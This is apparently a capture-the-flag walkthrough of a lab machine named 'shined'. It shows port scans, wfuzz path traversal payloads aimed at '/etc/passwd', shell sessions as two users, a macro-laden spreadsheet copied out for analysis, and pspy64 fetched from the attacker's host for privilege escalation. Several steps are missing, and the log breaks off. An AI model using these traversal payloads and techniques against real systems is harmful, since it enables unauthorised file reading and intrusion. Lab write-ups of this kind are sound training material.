┌──(root㉿Eecho)-[~] └─# rustscan -a 192.168.100.21 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.21:22 Open 192.168.100.21:80 Open 192.168.100.21:2222 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.21 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-15 13:48 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:48 Completed NSE at 13:48, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:48 Completed NSE at 13:48, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:48 Completed NSE at 13:48, 0.00s elapsed Initiating ARP Ping Scan at 13:48 Scanning 192.168.100.21 [1 port] Completed ARP Ping Scan at 13:48, 0.03s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 13:48 Completed Parallel DNS resolution of 1 host. at 13:48, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 13:48 Scanning 192.168.100.21 [3 ports] Discovered open port 22/tcp on 192.168.100.21 Discovered open port 2222/tcp on 192.168.100.21 Discovered open port 80/tcp on 192.168.100.21 Completed SYN Stealth Scan at 13:48, 0.02s elapsed (3 total ports) Initiating Service scan at 13:48 Scanning 3 services on 192.168.100.21 Completed Service scan at 13:48, 6.03s elapsed (3 services on 1 host) Initiating OS detection (try #1) against 192.168.100.21 NSE: Script scanning 192.168.100.21. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:48 Completed NSE at 13:48, 0.41s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:48 Completed NSE at 13:48, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:48 Completed NSE at 13:48, 0.00s elapsed Nmap scan report for 192.168.100.21 Host is up, received arp-response (0.00057s latency). Scanned at 2026-07-15 13:48:15 CST for 8s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 8d:9c:0e:58:72:31:a2:f9:81:15:34:9a:e7:07:f1:2a (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDPMC3/MhiYrwxAi9/0rkcRYOzh6m/lq0CqdKgVsgpwxylemzJ3YnKNI+hEo0AJoRilrfzG1K9h4IP+Fv6c/1z4= | 256 d8:05:cc:bd:07:3b:c8:59:eb:5e:cd:ee:6e:52:c6:ab (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ9k83JssYDyvQ/9DuP7REK1Fga7sTu38l2ibHHTJBfv 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-title: sungla |_http-server-header: Apache/2.4.52 (Ubuntu) 2222/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 09:20:97:b6:90:27:34:c4:f4:ed:35:c0:66:a3:f8:02 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCD2GOEfbWctCrEDU+Wep1NeD5TI1M3Anl6ZCvHdP03KSnRMRl3jPw9DbQkrNdDYabqAuHA1ryDSgnWVt7Li108= | 256 a5:bc:e0:59:79:1e:b7:5f:93:65:b1:2f:0c:bb:b0:66 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOCHOy8CzcE22B07xERlzea6PNZ0sMFlsYm9dOAOtWGu MAC Address: 08:00:27:B0:9A:67 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=7/15%OT=22%CT=%CU=41247%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=6A571F27%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S)
Uptime guess: 2.865 days (since Sun Jul 12 17:02:07 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.57 ms 192.168.100.21
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:48 Completed NSE at 13:48, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:48 Completed NSE at 13:48, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:48 Completed NSE at 13:48, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.55 seconds Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
┌──(root㉿Eecho)-[~] └─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -u "http://192.168.100.21/access.php/?FUZZ=/etc/passwd" --hc 404 --hh 1845 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. /usr/local/lib/python3.13/dist-packages/requests-2.27.1-py3.13.egg/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (2.6.3) or chardet (5.2.0)/charset_normalizer (3.4.4) doesn't match a supported version! ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.100.21/access.php/?FUZZ=/etc/passwd Total requests: 1273832
===================================================================== ID Response Lines Word Chars Payload =====================================================================
┌──(root㉿Eecho)-[~] └─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -u "http://192.168.100.21/access.php/?FUZZ=../../../../../etc/passwd" --hc 404 --hh 1845 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. /usr/local/lib/python3.13/dist-packages/requests-2.27.1-py3.13.egg/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (2.6.3) or chardet (5.2.0)/charset_normalizer (3.4.4) doesn't match a supported version! ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.100.21/access.php/?FUZZ=../../../../../etc/passwd Total requests: 1273832
===================================================================== ID Response Lines Word Chars Payload =====================================================================
This system has been minimized by removing packages and content that are not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command. Last login: Tue Apr 9 13:53:46 2024 from 192.168.1.210 cifra@b13d359bc30b:~$ id uid=1000(cifra) gid=1000(cifra) groups=1000(cifra) cifra@b13d359bc30b:~$
cifra@b13d359bc30b:~$ file contabilidad.xlsm contabilidad.xlsm: Microsoft Excel 2007+
复制到kali进行分析
1 2 3 4 5 6 7 8
cifra@b13d359bc30b:~$ scp contabilidad.xlsm root@192.168.100.18:/tmp/aaaa The authenticity of host '192.168.100.18 (192.168.100.18)' can't be established. ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.100.18' (ED25519) to the list of known hosts. root@192.168.100.18's password: contabilidad.xlsm
使用olevba从 Microsoft Office 文档中检测、提取并分析 VBA 宏（Macro）代码。
System information as of Wed Jul 15 06:42:23 AM UTC 2026
System load: 0.1484375 Processes: 124 Usage of /: 54.4% of 11.21GB Users logged in: 0 Memory usage: 57% IPv4 address for docker0: 172.17.0.1 Swap usage: 0% IPv4 address for enp0s3: 192.168.100.21
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment.
Expanded Security Maintenance for Applications is not enabled.
18 updates can be applied immediately. To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update
Last login: Tue Apr 9 14:45:36 2024 from 192.168.1.41 leopoldo@shined:~$ id uid=1001(leopoldo) gid=1001(leopoldo) groups=1001(leopoldo) leopoldo@shined:~$
成功逃逸到宿主机
提权
leopoldo -> root
上传pspy分析
1 2 3 4 5 6 7 8 9 10 11 12 13
leopoldo@shined:/tmp$ wget http://192.168.100.18/pspy64 --2026-07-15 06:47:23-- http://192.168.100.18/pspy64 Connecting to 192.168.100.18:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3104768 (3.0M) Saving to: ‘pspy64’
pspy64 100%[==============================================================================================>] 2.96M --.-KB/s in 0.03s
